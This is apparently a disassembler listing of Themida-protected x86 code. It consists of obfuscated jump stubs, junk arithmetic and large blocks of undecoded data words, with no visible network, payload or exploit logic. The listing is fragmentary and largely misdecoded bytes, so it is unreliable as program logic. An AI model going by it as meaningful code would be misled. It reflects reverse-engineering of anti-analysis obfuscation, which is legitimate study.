loc_555970: ; CODE XREF: Themida_:0055BF74j sub ebp, 4 xchg ebp, [esp] jmp loc_55F91C ; --------------------------------------------------------------------------- dw 34FFh dd 2DE95D24h, 89000118h, 74FF241Ch, 8F5B0424h, 0E95C2404h dd 16FFh, 4C181h, 0C870000h, 0BC685C24h, 89000031h, 4CB3241Ch dd 51E2F380h, 0C58086B5h, 80DDF6AEh, 0A1E94ACDh db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5559BF: ; CODE XREF: Themida_:0055B018j mov ebx, esp push edx push 5639h mov [esp], ebx push ecx jmp loc_554DB3 ; --------------------------------------------------------------------------- dd 8004EBC0h, 0EB8066F3h, 286D2CE6h, 0E96D04D8h, 0AAEFh dd 0A2E9D8F6h, 870000FAh, 0E9D1F7CBh, 4AEFh ; --------------------------------------------------------------------------- loc_5559F4: ; CODE XREF: Themida_:005665BBj pop edx or edx, 4F107121h dec edx xor edx, 163C5C33h jmp loc_56792B ; --------------------------------------------------------------------------- db 56h dd 0DB29B8BEh, 0F8E6817Ah, 0C128172Eh, 0CE8108E6h, 44216B22h dd 7EAC681h, 2FE91883h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_555A27: ; CODE XREF: Themida_:005566C6j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr ah, 6 push ecx mov cl, 0C8h dec cl sub cl, 2 shl cl, 4 push ecx jmp loc_553981 ; --------------------------------------------------------------------------- loc_555A48: ; CODE XREF: Themida_:0055D002j sub eax, esi pop esi jmp loc_55DE58 ; --------------------------------------------------------------------------- dd 4C38359h, 0E9241C87h, 0FFFFE4BDh ; --------------------------------------------------------------------------- loc_555A5C: ; CODE XREF: Themida_:00563761j mov eax, 4 jmp loc_55865A ; --------------------------------------------------------------------------- dw 0FDBAh dd 815E4D79h, 0CF3C1AF2h, 53B85076h, 103B81Ch, 0D32158C2h dd 8124148Bh, 4C4h, 24EB8100h, 0E9040040h, 0FFFFE5A3h dd 0D348E954h, 0F2010000h, 0E92434FFh, 0FFFFD1FFh, 4C781h dd 3C870000h, 0CDDCE924h, 0C6810000h, 4, 168068h, 24048900h dd 4B8h, 15A5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555AC6: ; CODE XREF: Themida_:00557C4Bj mov dh, 68h add cl, dh pop dx xor cl, 0FBh push ecx mov cl, 0EBh shr cl, 4 shr cl, 6 sub cl, 88h jmp loc_563133 ; --------------------------------------------------------------------------- dd 0AAC68159h, 8B52FB1Fh, 0E955243Ch, 0BFA9h, 4C481h, 72350000h dd 895BD606h, 34FF58C2h, 89535924h, 4BA52E3h, 51000000h dd 8AB7E9h, 54BE5600h, 31649108h, 0E3C15EF3h, 2FC38102h dd 13BCE92h, 0AA82E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555B2A: ; CODE XREF: Themida_:0055DA67j pop ebx push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_55403E ; --------------------------------------------------------------------------- dd 8067F780h, 0FA28A2EFh, 0B4B5515Bh, 59EA00h, 0DF8AE9CAh dd 0C7810000h, 1, 21AFCF81h, 0D7F77B56h, 720E947h, 0DEF70000h dd 0EABD5552h, 53735E1Dh, 7A220ABBh, 2E3C121h, 4E59CB81h dd 0CB81596Ah, 6FD725A9h, 40AF381h, 7E960A7h, 810000ACh dd 177BABE9h, 7E9C174h, 5507E9C1h, 0EA79C9BDh, 3EDC125h dd 0C583DDF7h, 0E9504D01h, 0DE9Dh ; --------------------------------------------------------------------------- loc_555BB0: ; CODE XREF: Themida_:00556FEFj add dword ptr [esp], 21F3556h jmp loc_554619 ; --------------------------------------------------------------------------- dd 0FFE90158h, 2C8B2434h, 0A0CE924h db 1, 0 ; --------------------------------------------------------------------------- loc_555BCA: ; CODE XREF: Themida_:005627B2j sub edi, 801A5846h mov ebp, edi pop edi jmp loc_56069A ; --------------------------------------------------------------------------- dd 0E924248Bh, 325h ; --------------------------------------------------------------------------- loc_555BE0: ; CODE XREF: Themida_:00557005j add eax, 0DC1F71C3h push esi mov esi, eax mov ecx, esi pop esi pop eax push ebx mov ebx, 5907268Fh or ebx, 26C85812h shr ebx, 2 not ebx not ebx not ebx xor ebx, 0E2392D4Ah sub ecx, ebx jmp loc_55BF31 ; --------------------------------------------------------------------------- aRs_1 db 'Ré͵',0 align 4 loc_555C14: ; CODE XREF: Themida_:0055711Ej mov [esp], edx push esp pop edx push 6A21h jmp loc_55A9E0 ; --------------------------------------------------------------------------- aXs8 db 'Xé8Î',0 dd 0E6815E00h, 33FD40A5h, 7EACEE81h, 0DEF741CAh, 3E28EE81h dd 0F0894049h, 5FD6E9h db 0 ; --------------------------------------------------------------------------- loc_555C45: ; CODE XREF: Themida_:0055DC16j neg ebp xor ebp, 1FD7979h xor ebp, 8604C6E6h add eax, ebp pop ebp jmp loc_55B980 ; --------------------------------------------------------------------------- db 66h dd 2454F650h, 0F6586601h, 0E5068D4h, 0C890000h, 0E9B6B124h dd 0A04Bh, 5928CF81h, 0EF817460h, 716699Eh, 8A5CF81h, 6EE912AEh dd 0BE000052h, 5BFC22A6h, 4607E6C1h, 2BEC681h, 0C281F9E9h dd 1AD27009h, 0EA81F201h, 1AD27009h, 5AD3295Eh, 3FC4C381h dd 815A5379h, 4C3h, 241C8700h, 0DC2E9h db 0 ; --------------------------------------------------------------------------- loc_555CC1: ; CODE XREF: Themida_:0055AC0Aj mov ecx, 4 jmp loc_565F2C ; --------------------------------------------------------------------------- db 51h dd 0C181E189h, 4, 0E625E9h, 0E0895000h, 7E2E68h, 24148900h dd 957806BAh, 49CA816Dh, 0E9616728h, 0F540h, 4BDh, 9CE2E900h dd 1C890000h, 80A6B324h, 0DA885FF3h, 0DB5E95Bh, 5F540001h dd 4C781h, 0C7830000h, 0DD27E904h, 5DBD0000h, 0F77A020Dh dd 8CBF57DDh, 1793C2Bh, 243C8BFDh, 4C481h, 0BE90000h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555D3B: ; CODE XREF: Themida_:00560BC0j mov ecx, 4052305Bh add dword ptr [esp+8], 3A4C7FA3h jmp loc_558312 ; --------------------------------------------------------------------------- db 5Ch, 54h, 8Fh dd 4812404h, 424h, 0AA22E900h, 0B0500000h, 0E5C1804Ah dd 0E980C128h, 0C18058E5h, 0BBB652FFh, 807CEE80h, 0EEC0A1CEh dd 155E904h, 148B0001h, 38C5E924h, 0DD680000h, 8900004Dh dd 34E9240Ch, 89FFFFE0h, 0E389241Ch, 4C381h, 89560000h dd 99168E6h, 4890000h, 2A0EE924h, 0E95D0000h, 256h ; --------------------------------------------------------------------------- loc_555DB4: ; CODE XREF: Themida_:00553C98j or eax, eax jz loc_56435E push dword ptr [edi+28h] sub esp, 4 mov [esp], ebp mov ebp, 44801022h add dword ptr [esp+4], 0D694C98h sub [esp+4], ebp jmp loc_567BD8 ; --------------------------------------------------------------------------- loc_555DDE: ; CODE XREF: Themida_:005581B7j push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop edx jmp loc_5574C6 ; --------------------------------------------------------------------------- loc_555DFA: ; CODE XREF: Themida_:00560A41j xor edx, ecx xor ecx, edx xor edx, ecx not ecx jmp loc_55C74B ; --------------------------------------------------------------------------- loc_555E07: ; CODE XREF: Themida_:00567242j dec ebp add ebp, 126A236Bh shr ebp, 3 dec ebp shr ebp, 2 jmp loc_5550C1 ; --------------------------------------------------------------------------- loc_555E1A: ; CODE XREF: Themida_:0055B2A5j shr edi, 5 and edi, 17CA2108h neg edi push edx jmp loc_55C7F7 ; --------------------------------------------------------------------------- db 5Eh dd 875EF001h, 0CEE92404h, 5D00002Eh, 81243C8Bh, 4C4h, 74FF5100h dd 8F590424h, 248B2404h, 89666424h, 0C9A8E902h, 3A68FFFFh dd 8900002Ah, 0B850240Ch, 44801E27h, 0B63CE9h, 48B6600h dd 0EC835224h, 24148904h, 0E9505A54h, 0C102h ; --------------------------------------------------------------------------- loc_555E7C: ; CODE XREF: Themida_:00556201j add ecx, ebx pop ebx jmp loc_553FDA ; --------------------------------------------------------------------------- dd 24048F5Eh, 6824248Bh, 33AFh, 0E9241489h, 0D7D2h ; --------------------------------------------------------------------------- loc_555E98: ; CODE XREF: Themida_:005574C8j mov eax, esp jmp loc_55E0FB ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 684DE924h, 295E0000h, 6F44E9DEh, 0F3810000h dd 49236A1Eh, 0F75BD889h, 234205D0h, 9E2D74DDh, 3577CE0Eh dd 6825FD35h, 0D611E9h db 0 ; --------------------------------------------------------------------------- loc_555ED1: ; CODE XREF: Themida_:0055CEDDj mov ecx, 52631202h or ecx, 7823006Ch jmp loc_55DA50 ; --------------------------------------------------------------------------- aBsyy db 'éyYÄ',0 db 0FFh a4Sxr db '4$é•',0 dw 0BB00h dd 5A551683h, 0C15BDE89h, 0BF5704E6h, 0 dd 0FFF6AFE9h, 0C8B66FFh, 4B186824h, 3C890000h, 3C8B5424h dd 4C48324h, 3BAAE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555F1E: ; CODE XREF: Themida_:0055F83Dj shr eax, 5 add eax, 3F9A35F3h jmp loc_553628 ; --------------------------------------------------------------------------- db 66h dd 48F665Bh, 66536624h, 662414F7h, 0E953665Bh, 11B7h, 476468h dd 240C8900h, 0FFEABEE9h, 0AAB68FFh, 2C890000h, 4E9B6824h dd 34FF3763h, 0D02BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555F62: ; CODE XREF: Themida_:00565AD2j push edx jmp loc_55B096 ; --------------------------------------------------------------------------- dd 4BEh, 5EF70100h, 4C781h, 3C870000h, 0C8B5C24h, 8B545624h dd 0C4832434h, 4C68104h, 57000000h, 0E685255h, 5A64754Eh dd 54A9E942h, 0CF810000h, 24132749h, 0E9505155h, 0E08Bh ; --------------------------------------------------------------------------- loc_555FA8: ; CODE XREF: Themida_:00558C66j xchg edx, [esp] pop esp pop ecx loc_555FAD: ; CODE XREF: Themida_:loc_55F63Fj push 6093h mov [esp], ebx sub dword ptr [esp], 83019A7h push dword ptr [esp] pop eax jmp loc_55F4AF ; --------------------------------------------------------------------------- loc_555FC5: ; CODE XREF: Themida_:0056186Cj shr dl, 2 add dl, 51h add al, 50h sub al, dl sub al, 50h pop edx mov cl, al mov eax, [esp] add esp, 4 shl cl, 2 xor cl, 8Dh add cl, 8Dh jmp loc_562541 ; --------------------------------------------------------------------------- loc_555FE8: ; CODE XREF: Themida_:005665D1j xor ecx, edx xor edx, ecx sub edx, 1A670065h push edi jmp loc_560892 ; --------------------------------------------------------------------------- dd 59CE015Ah, 533FF681h, 0F1291F39h, 0C4EE95Eh, 63680001h dd 89000026h, 0BB532414h, 6A2BB81Ch, 315BDA89h, 52555AD1h dd 0D83C7168h, 14E95A37h, 8900007Fh, 0D6F758C6h, 3733E681h dd 0E6814811h, 35F421D6h, 3F70E681h, 0C68126DBh, 6CA81476h dd 4EC81h, 0A8E90000h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556053: ; CODE XREF: Themida_:00554697j pop dword ptr [esp] add dword ptr [esp], 4 pop edx push eax mov eax, esp add eax, 4 jmp loc_5677F1 ; --------------------------------------------------------------------------- a1ASs? db '¸1',27h,'a^é™?',0 dd 7EDC100h, 3367C581h, 0E989735Ah, 8BCB295Dh, 0D5E9240Ch db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55608B: ; CODE XREF: Themida_:005610E2j add ebp, 4 sub ebp, 4 jmp loc_566453 ; --------------------------------------------------------------------------- loc_55609C: ; CODE XREF: Themida_:00561CDAj xor edx, [esp] jmp loc_55CC3D ; --------------------------------------------------------------------------- dd 240C8B66h, 348B5456h, 14E95124h, 0F7000052h, 7EAC1DAh dd 11581E9h, 240C8900h, 471003B9h, 0C9814141h, 1B5574F1h dd 6852D1F7h, 3B24210Dh, 5AD1215Ah, 757AC981h, 0BA521CD8h dd 181FB76Fh, 0DE9D101h, 66FFFFFFh, 56240C8Bh, 0B4E9E689h dd 66FFFFEEh, 8124148Bh, 2C4h, 5E62E900h, 0BA520000h, 51902E30h dd 2DBCC281h, 0BE560DBFh, 1853609Eh, 0C881E9h db 0 ; --------------------------------------------------------------------------- loc_55611D: ; CODE XREF: Themida_:0055F6E1j mov [esp], ecx mov cl, 7 shr cl, 3 jmp loc_557C46 ; --------------------------------------------------------------------------- dw 0EA81h dd 268E527Ch, 0C281FA29h, 268E527Ch, 5AD1015Fh, 0E902C183h dd 0D486h, 74FF515Ah, 8F590424h, 815C2404h, 4C7h, 243C3300h dd 33243C31h, 248B243Ch, 1FD96824h, 2C890000h, 565D5424h dd 4BEh, 5EF50100h, 8704C583h, 855C242Ch, 7BE99CC8h, 0FFFFFFC6h dd 0E95D2434h, 0FFFFF1AEh, 820F180h, 0B55159CCh, 2ED8094h dd 0FE39CD80h, 77F580CDh, 8059EC30h, 0C380E3EBh, 0E9E30080h dd 0EA62h, 4C481h, 93E90000h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5561BB: ; CODE XREF: Themida_:0055CA37j push eax push 3358h mov [esp], ebx mov ebx, 5E095B61h push ebx sub dword ptr [esp], 737D704Bh pop eax add eax, 737D704Bh pop ebx add dword ptr [esp+4], 659A439Ah sub dword ptr [esp+4], 75C00A89h jmp loc_55E4D7 ; --------------------------------------------------------------------------- loc_5561ED: ; CODE XREF: Themida_:0056407Fj sub ecx, 28204A65h add ecx, eax push ebx mov ebx, 2D732ED7h add ebx, 0FAAD1B8Eh jmp loc_555E7C ; --------------------------------------------------------------------------- loc_556206: ; CODE XREF: Themida_:00560FCEj shl bl, 6 add bl, 68h dec bl xor bl, 49h jmp loc_561390 ; --------------------------------------------------------------------------- dw 0E135h dd 895501E6h, 0F32958C6h, 0E924348Bh, 0BCD7h, 0B6241489h dd 1EE80CAh, 0FEC8F680h, 0FDF680CEh, 285AF488h, 0C30058E3h dd 83FDC380h, 0C8904ECh, 283FB524h, 526659EBh, 0F2E922B2h dd 3000002Bh, 4C22E9CCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55625E: ; CODE XREF: Themida_:00562F82j mov eax, 1EEB4F05h mov edi, 0E114B0FFh add edi, eax jmp loc_56541E ; --------------------------------------------------------------------------- db 81h dd 9E0D56F5h, 0E95E55CDh, 0D509h, 28C5B551h, 28B6E9E8h dd 7D680000h, 0E900001Eh, 28B6h ; --------------------------------------------------------------------------- loc_556290: ; CODE XREF: Themida_:0056330Cj sub edx, esi pop esi push ecx mov ecx, 358E601Bh jmp loc_55F12D ; --------------------------------------------------------------------------- loc_55629E: ; CODE XREF: Themida_:0055404Aj shr ebx, 4 push 0 sub [esp], ebx jmp loc_552B77 ; --------------------------------------------------------------------------- dw 0C281h dd 39C425Ah, 0EA81EA01h, 39C425Ah, 2C2835Dh, 799D68h, 24148900h dd 107E2E9h, 2434FF00h, 0C704E9h, 243C8700h, 242C895Ch dd 0E6B85057h, 4835505Dh, 0DE68690Dh, 49D92D12h, 0C789D989h dd 8BFD8958h, 0C483243Ch, 0EE28E904h, 0EB81FFFFh, 788D5B8Bh dd 8124048Bh, 4C4h, 2ABF5700h, 8134E033h, 0E03328F7h, 0E9FB0134h dd 0FFFFFFADh ; --------------------------------------------------------------------------- loc_556320: ; CODE XREF: Themida_:0055C07Ej shr ebx, 1 add ebx, 0EA73F97Ch mov ecx, ebx pop ebx and eax, ecx jmp loc_560D52 ; --------------------------------------------------------------------------- aQs db 'Qé+Ë',0 align 4 dd 0BA2D54BAh, 1A7E944h, 4810001h, 424h, 2434FF00h, 0E289525Fh dd 4BD55h, 0C2810000h, 6DD22BFEh, 0B951EA01h, 626679CBh dd 8F18149h, 0F7428A78h, 69F181D1h, 0F76E7248h, 0AEE981D9h dd 29E0CC1Dh, 515D59CAh, 4B9h, 9EA8100h, 1357112h, 9C281CAh dd 59357112h, 31241433h, 14332414h, 0C7815C24h, 4, 115D6E9h db 0 ; --------------------------------------------------------------------------- loc_5563A9: ; CODE XREF: Themida_:0055C11Cj mov eax, [esp] add esp, 4 sub eax, 698E43CCh sub eax, ecx push ecx jmp loc_55EBC1 ; --------------------------------------------------------------------------- dd 464C681h, 0F7290C30h, 8324348Bh, 815D04C4h, 4C7h, 243C3300h dd 32DBE9h, 2DD02900h, 24C72EFEh, 0BA135F2Dh, 4335A7Bh dd 24043124h, 5C240433h, 50243489h, 0FFF2CEE9h, 0E95250FFh dd 51D1h, 0BB241C89h, 4, 0DBDBE957h, 9B68FFFFh, 89000053h dd 0B951242Ch, 390719F6h, 4B19BA52h, 9BE903A2h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556427: ; CODE XREF: Themida_:00563DEAj pop ebx add esp, 4 jmp loc_55F842 ; --------------------------------------------------------------------------- loc_556433: ; CODE XREF: Themida_:0055D63Bj pop edi jmp loc_558266 ; --------------------------------------------------------------------------- db 0FFh, 4, 24h dd 0FAE9535Eh, 8FFFFFC8h, 4832404h, 48F0424h, 4BF5724h dd 1000000h, 8B04247Ch, 0E3E9243Ch, 0B90000E0h, 6F64759Ch dd 0C8BCE01h, 4C48124h, 0E9000000h, 10322h, 0F1BF5755h dd 0F7367200h, 7D2DE9D7h, 0C8B0000h, 0E1895124h, 4C181h dd 0C1810000h, 4, 0E9240C87h, 0E7C3h, 8704C483h, 1EE9240Ch dd 81000003h, 2B04246Ch, 5704AE0Dh, 2F3ACBBFh, 247C0100h dd 5A5F5F08h, 4C281h, 0C2810000h, 2, 31241433h, 14332414h dd 24248B24h, 9C240428h, 0FFC321E9h db 0FFh ; --------------------------------------------------------------------------- loc_5564DD: ; CODE XREF: Themida_:0055CFC9j add ebp, ebx add ebp, 7DEF25CCh jmp loc_561611 ; --------------------------------------------------------------------------- loc_5564EA: ; CODE XREF: Themida_:0055C4E8j mov ebx, [esp] add esp, 4 add ebx, 4 push esi mov esi, 4 jmp loc_560C23 ; --------------------------------------------------------------------------- loc_556501: ; CODE XREF: Themida_:0056584Fj push esi mov esi, 752543A6h push ecx jmp loc_563DB3 ; --------------------------------------------------------------------------- aI4S db '‰4$éÒ',0 align 4 dd 5EF20100h, 15AD629h, 11C681CEh, 5949130Ah, 68h, 2434FF00h dd 5B2434FFh, 732968h, 0D6FCE900h, 0C681FFFFh, 4, 4C681h dd 34870000h, 0C3815C24h, 4, 0FFD760E9h, 0C2A4E9FFh, 0E981FFFFh dd 0E8C569FCh, 0D6A0E9h, 0BB53AD00h, 6A936C32h, 0E95BD829h dd 0AFA3h, 4C481h, 0E9800000h, 80E100FAh, 0F6E9FAC1h, 8900001Ah dd 236855E2h, 5D182A70h, 0D2AFE9h, 0D2BB5300h, 815A3852h dd 6044F5EBh, 0B4CB8148h, 0E912C974h, 793Dh, 772000BAh dd 0F7EAD17Ah, 0D1CA81DAh, 8131DD57h, 0BA69D7EAh, 0FF48E996h dd 54510000h, 3E85E9h, 0E5815B00h, 25A30C2Dh, 0CB17ED81h dd 0E5C19858h, 6D3E6806h, 6DE90000h, 8300000Fh, 248904ECh dd 24048124h, 4, 4C6815Eh, 0E9000000h, 1266h ; --------------------------------------------------------------------------- loc_556600: ; CODE XREF: Themida_:00554DC9j pop eax dec ebx shl ebx, 6 push edi mov edi, 494C43FDh neg edi shl edi, 4 sub edi, 7816910h sub edi, 6C62E89Ch xor ebx, edi pop edi mov edx, ebx jmp loc_563364 ; --------------------------------------------------------------------------- loc_556626: ; CODE XREF: Themida_:00561C3Bj push esp pop edi add edi, 4 sub edi, 4 jmp loc_55B3A4 ; --------------------------------------------------------------------------- loc_556639: ; CODE XREF: Themida_:005599CEj add esp, 4 push eax push edx jmp loc_554C0C ; --------------------------------------------------------------------------- db 21h dd 0EFC15BDFh, 0A4B95103h, 0E9057B29h, 3D7h ; --------------------------------------------------------------------------- loc_556654: ; CODE XREF: Themida_:0055D86Fj add esp, 4 xor ebp, 627B43AEh mov ebx, ebp pop ebp jmp loc_55EEC4 ; --------------------------------------------------------------------------- dd 0ABD9C581h, 0EE31FF29h, 0BA525Dh, 0E9000000h, 0E1Bh dd 2474FF53h, 48F5B04h, 79E95C24h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55668B: ; CODE XREF: Themida_:0055C638j push eax mov eax, 76825CECh shr eax, 7 xor eax, 78F47A80h add eax, 87E681CBh jmp loc_55E04F ; --------------------------------------------------------------------------- db 59h dd 60BF5756h, 0E94A5739h, 0F509h, 0C3FEDD30h, 88DC8850h dd 5B9BE9EBh, 0FC200000h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_555A27 ; --------------------------------------------------------------------------- aS_8 db '[é~Ë',0 dd 0C8B6600h, 34176824h, 1E90000h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5566DF: ; CODE XREF: Themida_:00556B4Cj shr al, 2 or al, 43h jmp loc_560D8A ; --------------------------------------------------------------------------- db 57h, 68h, 0A9h dd 5F448B12h, 7806E9h, 5DEE8900h, 5E14C681h, 0EE297CA3h dd 5E14EE81h, 0E95D7CA3h, 0AF62h ; --------------------------------------------------------------------------- loc_55670C: ; CODE XREF: Themida_:0055CF48j add ebp, edi pop edi xchg ebp, [esp] pop esp push edx push ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push eax mov al, 57h jmp loc_55DA23 ; --------------------------------------------------------------------------- loc_556731: ; CODE XREF: Themida_:005638EBj not ebp jmp loc_5575F1 ; --------------------------------------------------------------------------- dd 55240C8Bh, 0C5815D54h, 4, 4BB53h, 76E90000h, 5A0000D3h dd 0FFEE0FE9h, 535541FFh, 8B1DDBBBh, 5BDD8926h, 0E95DE909h dd 0BA82h ; --------------------------------------------------------------------------- loc_556768: ; CODE XREF: Themida_:00563442j mov edx, 7C2F2682h jmp loc_567A59 ; --------------------------------------------------------------------------- dw 6CBDh dd 0E954E35Eh, 0FA85h, 240C8B66h, 5E08950h, 4, 42Dh, 24048700h dd 0D4F4E9h, 54C28100h, 175AE12h, 0F2BD55C2h, 0C147231Ch dd 0E5D102E5h, 1E43E9h, 3FBA5200h, 0C10D1A66h, 0ECE902EAh dd 2D000111h, 6966990h, 0A5CCE9h, 24248B00h, 0E9E9F766h dd 0A61h, 24048B66h, 56B368h, 243C8900h, 129C68h, 0D0CFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5567E6: ; CODE XREF: Themida_:00558531j push 542Ah jmp loc_55BB1F ; --------------------------------------------------------------------------- aIS6 db '‰,$é6²',0 align 4 dd 60AB951h, 0C1812587h, 348E5DDFh, 0BDF18149h, 8117630Dh dd 0FFFFFFE9h, 727DE9FFh, 248B0000h, 240C8B24h, 163068h dd 243C8900h, 0AB1CE9h, 5B565A00h, 8124348Bh, 4C4h, 4C89E900h dd 0F7810000h, 17430170h, 10C5EF81h, 0ABE9E832h, 0AD000022h dd 0FFEF19E9h db 0FFh ; --------------------------------------------------------------------------- loc_556851: ; CODE XREF: Themida_:0055C895j mov eax, [esp] push eax mov eax, esp jmp loc_5631A9 ; --------------------------------------------------------------------------- loc_55685C: ; CODE XREF: Themida_:00555685j xor esi, [esp] xor [esp], esi push dword ptr [esp] jmp loc_55D98E ; --------------------------------------------------------------------------- dw 0F801h a_h? db '_h',9,'?',0 align 2 aSL_0 db 'éÙ«',0 dw 0B100h dd 66C8001Bh, 0E9C20059h, 8BACh, 6FBB53h, 0E3C1061Bh, 0C362E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556892: ; CODE XREF: Themida_:0055FAC1j mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push edx mov edx, 794E5158h and edx, 5E114939h shr edx, 6 not edx not edx jmp loc_556EB8 ; --------------------------------------------------------------------------- db 1 dd 24348BF3h, 4C481h, 0F3810000h, 0C06EB630h, 34FFD831h dd 0C8685B24h, 89000063h, 0E2892414h, 4C281h, 0E9560000h dd 0FFFFD4ADh ; --------------------------------------------------------------------------- loc_5568E8: ; CODE XREF: Themida_:0055BBDEj mov ah, bh mov ebx, [esp] add esp, 4 shr ah, 8 xor ah, 13h sub bl, ah pop eax movzx eax, al mov dx, [esp] push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55FB33 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0Ah dd 815B20CAh, 410ABEE9h, 81D9016Ah, 410ABEC1h, 9EC9E96Ah dd 515C0000h, 0F71CF3B9h, 0BE56414Eh, 70D2794Dh, 835EF129h dd 0C18101C1h, 25681BEBh, 0BF8FE981h, 0CD01038Ch, 83240C8Bh dd 895204C4h, 4C281E2h, 56000000h, 4BEh, 0E9F22900h, 0F471h dd 3C7FEB81h, 0C4E9F089h, 89FFFFC7h, 3928E9E0h, 0EF830000h dd 243C8704h, 2424895Ch, 71BF5750h, 0C112A456h, 0CF8104E7h dd 11546F38h, 0D8EF814Fh, 0B8FAC062h, 0BF6AF3A5h, 0B6F3E9h dd 240C8900h, 0B8F8E9h, 81E58900h, 4C5h, 4ED8100h, 0E9000000h dd 594Fh, 34FFF701h, 0C4835E24h, 4EC8104h, 0E9000000h dd 3A8Ah, 5C240487h, 815B5453h, 4C3h, 64C4E900h, 0FC680000h dd 0E900003Eh, 10069h, 4B2374B9h, 24448101h, 0E0401408h dd 244C017Fh, 14AE908h, 0C0830001h, 24048704h, 0E924248Bh dd 6BF1h, 0BDE4E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556A1A: ; CODE XREF: Themida_:0056110Dj xor [esp], esi jmp loc_55D955 ; --------------------------------------------------------------------------- loc_556A22: ; CODE XREF: Themida_:00566C53j push dword ptr [esp] pop ebx jmp loc_55E6C5 ; --------------------------------------------------------------------------- db 0C1h dd 7E904E1h, 89000082h, 0E9572404h, 0BC0h, 555BDF01h, 4BDh dd 59C78100h, 121610Bh, 59EF81EFh, 0FF21610Bh, 2C8B2434h dd 4C48124h, 81000000h, 4C4h, 243C8700h, 68C80F5Ch, 3D24h dd 0E9240489h, 0FFFFBD86h ; --------------------------------------------------------------------------- loc_556A78: ; CODE XREF: Themida_:0055D25Ej add esp, 4 mov ebp, [esp] jmp loc_561AEC ; --------------------------------------------------------------------------- db 5Ch dd 840FC909h, 0FFFFDD48h, 8904EC83h, 0B9512424h, 40A201DEh dd 0F757F987h, 3C8B2414h, 4C48324h, 337F68h, 240C8900h dd 6E6768h, 243C8900h, 83240C8Bh, 3C8B04C4h, 4C48324h dd 0FFFC90E9h db 0FFh ; --------------------------------------------------------------------------- loc_556AC5: ; CODE XREF: Themida_:0055DFA4j mov bl, 24h jmp loc_55435D ; --------------------------------------------------------------------------- loc_556ACC: ; CODE XREF: Themida_:00553B74j mov [esp], edx mov edx, 4 push edx jmp loc_555807 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9512404h, 0F6C0h, 0D977BA52h, 0D731DDC0h, 35C5815Ah dd 29640844h, 35ED81FDh, 8B640844h, 0C483243Ch, 92BA5204h dd 4200996Eh, 7586E9h db 0 ; --------------------------------------------------------------------------- loc_556B0D: ; CODE XREF: Themida_:00558358j mov eax, [esp] jmp loc_5586A5 ; --------------------------------------------------------------------------- loc_556B15: ; CODE XREF: Themida_:005543B9j pop ecx jmp loc_560BDC ; --------------------------------------------------------------------------- db 81h dd 0CC7141C5h, 99B3E91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_556B26: ; CODE XREF: Themida_:0055F5B2j add esp, 2 xor al, ch mov ecx, [esp] add esp, 4 sub esp, 2 mov [esp], cx sub esp, 2 mov [esp], bx mov bh, 95h push eax mov al, 0BFh xor al, 0C3h jmp loc_5566DF ; --------------------------------------------------------------------------- aMht db '¬hâ*',0 dw 8900h dd 0B6B62414h, 0FE60B252h, 505366C2h, 0ECD0DDB4h, 2F68h dd 241C8900h, 0FFC911E9h, 24348BFFh, 4C481h, 0EE810000h dd 7CFF7011h, 480A68h, 24348900h, 24348B5Fh, 8E9h, 4EC8300h dd 0FFD090E9h, 0E38953FFh, 4C381h, 0C3830000h, 241C8704h dd 0FAB8505Ch, 2907EC20h, 0C18158C7h, 0C45979h, 1EE9F901h dd 8BFFFFF3h, 58E92414h, 54FFFFEBh, 4EC8158h, 89000000h dd 4B9240Ch, 0E9000000h, 0D686h ; --------------------------------------------------------------------------- loc_556BE0: ; CODE XREF: Themida_:0055952Bj mov ebp, [esp] add esp, 4 jmp loc_563239 ; --------------------------------------------------------------------------- db 53h dd 0D92BD2BBh, 0FFD90173h, 1C8B2434h, 4C48124h, 81000000h dd 4C4h, 0F1C1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556C0A: ; CODE XREF: Themida_:00563CC9j mov esp, [esp] push 30A9h mov [esp], esi sub esp, 4 jmp loc_564A71 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 59773FBDh, 81D5F736h, 414E59CDh, 0FEE9E939h, 248BFFFFh dd 48B6624h, 0F5FEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556C3E: ; CODE XREF: Themida_:0055F9BAj pop edx push esi jmp loc_557580 ; --------------------------------------------------------------------------- db 0BDh, 0FFh, 11h dd 0C5813982h, 0E53B0654h, 8B5DEF01h, 0C481242Ch, 4, 8B243C87h dd 14E92424h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556C67: ; CODE XREF: Themida_:005662F0j xchg ebp, [esp] jmp loc_553F2D ; --------------------------------------------------------------------------- aISo db '\‰$$éŽ]',0 align 4 dd 240C8B66h, 2C481h, 0B4500000h, 6DC4807Eh, 0C480C4FEh dd 8DE480DEh, 3091F480h, 1F8AE9E6h, 0E9570000h, 1B75h dd 10D968h, 240C8900h, 0FFCECCE9h db 0FFh ; 